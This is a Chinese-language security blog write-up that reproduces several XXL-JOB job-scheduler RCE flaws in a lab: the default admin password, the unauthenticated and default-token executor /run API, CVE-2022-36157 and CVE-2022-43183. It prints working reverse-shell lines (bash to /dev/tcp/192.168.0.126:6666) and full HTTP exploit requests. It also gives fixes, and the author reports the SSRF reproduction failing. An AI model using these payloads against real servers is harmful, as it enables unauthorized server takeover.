在日常开发中,经常会用定时任务执行某些不紧急又非常重要的事情,例如批量结算,计算当日的订单量,当日的成本收入等。当存在大量定时任务的时候,任务的管理也会成为一个比较头痛的问题。XXL-JOB,就是一个比较成熟的开源分布式任务调度平台(大众点评的一位大佬开源的,官网:XXL开源社区,当前此项目已被各个企业广泛采用(Github Star 25.8k)。
但是 XXL-JOB 任务调度中心系统这几年被披露出存在多个后台命令执行漏洞,攻击者可以通过反弹 shell 执行任意命令,获取服务器管理权限。本文来分析、总结下 XXL-JOB 系统历史上几个 RCE 漏洞,为攻防工作积累 RCE 高危漏洞知识库。
为了方便复现漏洞,此处本地自行搭建一下 XXL-JOB 系统环境。
环境 | 版本信息 |
---|---|
XXL-OBJ | v2.3.1 |
Windows | 11 |
IntelliJ IDEA | Community Edition 2023.2.2 |
Java JDK | 1.8(亲测高版本可能导致执行任务出错) |
MySQL | 8.0.35 |
先到 Github 下载源码,此处我选择 v2.3.1 版本(当前最新版是 v2.4.0),方便复现下文涉及的漏洞:
下载后解压缩如下:
先安装 MySQL 数据库环境,Windows 安装参见教程:2023 年 MySQL 8.0 安装配置 最简易(保姆级):
需要先将 doc/db/tables_xxl_job.sql
文件导入 MySQL 创建数据库,此处我使用的 MySQL 管理工具是 dbeaver(免费且强大的数据库管理工具,不用为 Navicat 付费软件买单):
新建数据库 xxl-obj 后右键选择导入脚本:
成功创建数据库(注意是自动创建了 xxl_job
库):
调度中心就是源码中的 xxl-job-admin
工程,我们需要将其配置成自己需要的调度中心,通过该工程我们能够以图形化的方式统一管理任务调度平台上调度任务,负责触发调度执行。
我们只需手动修改调度中心配置文件地址中关于 MySQL 数据库的配置即可:
/xxl-job/xxl-job-admin/src/main/resources/application.properties
然后由于该工程是一个 Springboot 项目,我们只需要在 IDEA 中执行 XxlJobAdminApplication
类即可运行该工程:
调度中心访问地址:http://localhost:8080/xxl-job-admin
(该地址执行器将会使用到,作为回调地址):
默认登录账号 “admin/123456
”, 登录后运行界面如下图所示:
“执行器”项目:xxl-job-executor-sample-springboot
,提供多种版本执行器供选择,现以 Springboot 版本为例,可直接使用,也可以参考其并将现有项目改造成执行器。
执行器项目的作用:
阅读 官方文档 可知,SpringBoot 版本的执行器项目也是可以直接启动的(符合开箱即用的说法),此处我采用默认配置(有需求请自行修改配置,配置参数含义参见官方文档):
直接启动执行器项目:
至此,调度中心和执行器两侧系统均已搭建完毕。接下来便可以愉快地使用 XXL-JOB 系统的功能了,可以通过调度中心,配置定时执行任务,具体操作流程可参见下文 “后台弱口令->RCE” 章节。
如官网所述:XXL-JOB 是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。
从官方文档可以看到,XXL-JOB 系统全版本都存在默认弱口令“admin/123456
”:
如果管理员未修改默认密码,我们也可以通过默认口令进入调度中心管理系统,获取后台权限可以管理所有的任务管理,甚至可以执行指令,接管服务器。
使用默认口令进入后台之后,我们可以发现系统默认已配置了执行器为上述搭建的执行器服务地址(9999 端口):
为了实现 RCE,我们选择 “任务管理 - 新增” 填写以下信息,运行模式使用 GLUE(Java)
(此处我是 Windows11 系统搭建的执行器系统,故选择 Java 进行弹计算器的命令执行演示,当然此处也可以选择其他语言来执行命令,XXL-JOB 的标准 RESTful API 支持多语言,如果是 Linux 服务器可以选择 GLUE(Shell )
语言反弹 Shell),其他随意选项,符合规则即可:
接下来右键编辑任务,选择 “GLUE IDE”,插入待执行的脚本命令:
此处我是 Windows11 系统搭建的执行器系统,故选择 Java 进行弹计算器的命令执行演示:
Runtime runtime = Runtime.getRuntime();
runtime.exec("cmd /c calc");
【补充】对应 XXL-JOB 服务器属于 Linux 系统的话,反弹 Shell 请选择 GLUE(Shell)
,然后在 “GLUE IDE” 添加任务脚本:
#!/bin/bash
bash -c 'exec bash -i >& /dev/tcp/192.168.0.126/6666 0>&1'
综上可以看到,XXL-JOB 后台管理系统由于存在任务管理功能,可执行管理员指定的脚本和指令,故在弱口令(或者存在下文将提及的未授权访问漏洞)的情况下,可被攻击者接管服务器。
XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。但是 2020 年 10 月,XXL-JOB <= 2.2.0 版本被各大云厂商报出存在远程执行漏洞,其 executor 端默认没有配置认证,未授权的攻击者可以通过 RESTful API 执行任意命令,如下是 阿里云的漏洞预警:
有意思的是该开源软件的作者在及时修复该漏洞的同时,还专门发文“澄清”此漏洞不是“漏洞”……参见:XXL JOB 未授权访问致远程命令执行 “漏洞” 声明。
我们通过 Vulhub 提供的 Docker 环境来复现该漏洞:
可以看到 admin 管理端映射了 8080 端口,executor 执行器客户端映射了 9999 端口,同时开启了 Mysql 数据库服务:
但尴尬的是 Vulhub 并未提供完整的可视化界面:
但是不影响漏洞利用,物理机中直接调用 executor 执行器客户端 /run
接口,传递如下 glueSource 参数,反弹 Shell:
POST /run HTTP/1.1
Host: 192.168.0.122:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/192.168.0.126/6666 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
Kali Linux 成功获得 Shell:
从官方文档可以看到该未授权 API:/run
的详细参数含义:
作者针对该问题,提供的几种安全防护策略:
xxl.job.accessToken
” ,按照文档说明启用即可;
简单来说就是,XXL-JOB <= 2.4.0 版本在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。
此处我搭建的 XXL-JOB 本地环境是 v2.3.1 版本,可以看到源码提供的默认配置如下:
此参数的 官方文档解释 如下:
当前 v2.3.1 版本默认配置参数 xxl.job.accessToken=default_token
,不知道作者为什么会给了个默认值,翻看之前的版本xxl.job.accessToken
都默认为空,直到 v2.3.1 版本后才出现默认值。
而此漏洞也正是xxl.job.accessToken
配置项的该默认值引起的,因为该参数属于会话令牌,此默认配置相当于为执行器系统提供了默认会话凭证:
故可在未具备任何权限的情况下,发送以下报文执行任意命令如下:
此处我用的是 Python 脚本执行 ping dnslog 服务的命令,完整报文附上如下:
POST /run HTTP/1.1
Host: 192.168.0.121:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.121:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
XXL-JOB-ACCESS-TOKEN: default_token
Connection: close
Content-Length: 393
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_PYTHON",
"glueSource": "import os\nos.system('ping 5rpm7j.dnslog.cn')",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
反弹 Shell 获得 RCE 同理,简单修改代码即可。
漏洞修复方案
官方提供的修复方案:修改调度中心和执行器配置项 xxl.job.accessToken
的默认值,注意要设置相同的值(访问令牌(AccessToken)官方说明)。
将 xxl.job.accessToken
使用随机 AccessToken,或者不易被猜解的值。
在 XXL-JOB 的官方版本发布信息可以看到,v2.4.0 修复了两个 CVE 漏洞:
我们先来说第一个漏洞 CVE-2022-36157:
看描述是一个很简单的垂直越权漏洞,我们来基于 v2.3.1 版本快速复现一下。
1、创建普通用户:
2、可以发现默认只有以下 4 个功能的访问权限:
3、手动添加 API 路径/xxl-job-admin/jobgroup
,可以看到第五个功能“执行器管理(执行器管理)”,甚至可以编辑它!
漏洞修复
此漏洞仅仅是垂直越权漏洞,非 RCE,价值不是很高。
最后说一下 CVE-2022-43183 ,即 XXL-JOB 系统的 SSRF 高危漏洞:
也是 v2.3.1 版本的,从 https://github.com/xuxueli/xxl-job/issues/3002 可以获得漏洞的进一步信息:
同步下信息:
xxl-job =< 2.3.1版本(最新版本)存在SSRF漏洞,导致低权限用户控制executor执行任意命令。
XXL-JOB 2.3.1的 xxl-job-2.3.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobLogController.java
中存在 SSRF 漏洞,该漏洞源自于/logDetailCat
,直接向 executorAddress 指定的地址发送查询日志请求,而不判断 executorAddress 参数是否为有效的执行器地址,而/logDetailCat
接口调用只需平台低权限用户即可。由于查询请求中会带有 XXL-JOB-ACCESS-TOKEN,导致XXL-JOB-ACCESS-TOKEN
泄露,然后攻击者获取XXL-JOB-ACCESS-TOKEN
并调用任意执行器,导致攻击者可以执行任意命令。
漏洞描述得很清晰了,我们来定位下代码看看是不是真的存在 SSRF 漏洞:
漏洞复现步骤看着很简单:
/xxl-job-admin/joblog/logDetailCat
接口时,将输入参数 executorAddress 设置为步骤1 中的 http 服务器地址,将直接打印 XXL-JOB-ACCESS-TOKEN
在目标服务器上;XXL-JOB-ACCESS-TOKEN
,按照上一章节 CVE-2022-36157 的利用报文一样给执行器发送恶意任务,实现任意代码执行。然而本人复现失败,有知情大佬请留言赐教谢谢:
完整报文信息:
POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1
Host: 192.168.0.121:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.121:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: xxljob_adminlte_settings=on; XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a2274657374222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
{
"executorAddress": "http://192.168.0.121:6666/,
"triggerTime": 1586699003758,
"logId": 111,
"fromLineNum": 2
}
HTTP/1.1 200
Content-Type: application/json;charset=utf-8
Content-Length: 281
Date: Thu, 28 Dec 2023 16:16:10 GMT
Connection: close
{"code":500,"msg":"java.lang.IllegalStateException: Optional long parameter 'triggerTime' is present but cannot be translated into a null value due to being declared as a primitive type. Consider declaring it as object wrapper for the corresponding primitive type.","content":null}
本文总结分析了 XXL-JOB 分布式任务调度平台这几年出现的 RCE 漏洞,可以看到信息系统如果存在类似自定义脚本执行定时任务的业务功能,一旦被攻击者成功绕过登录限制或者获取到认证凭据,那么业务所在的服务器将面临任意代码执行漏洞导致服务器被接管的风险。日常攻防实战中,也应重点关注此类业务功能是否存在任意代码执行导致 RCE 漏洞。
本文参考资料: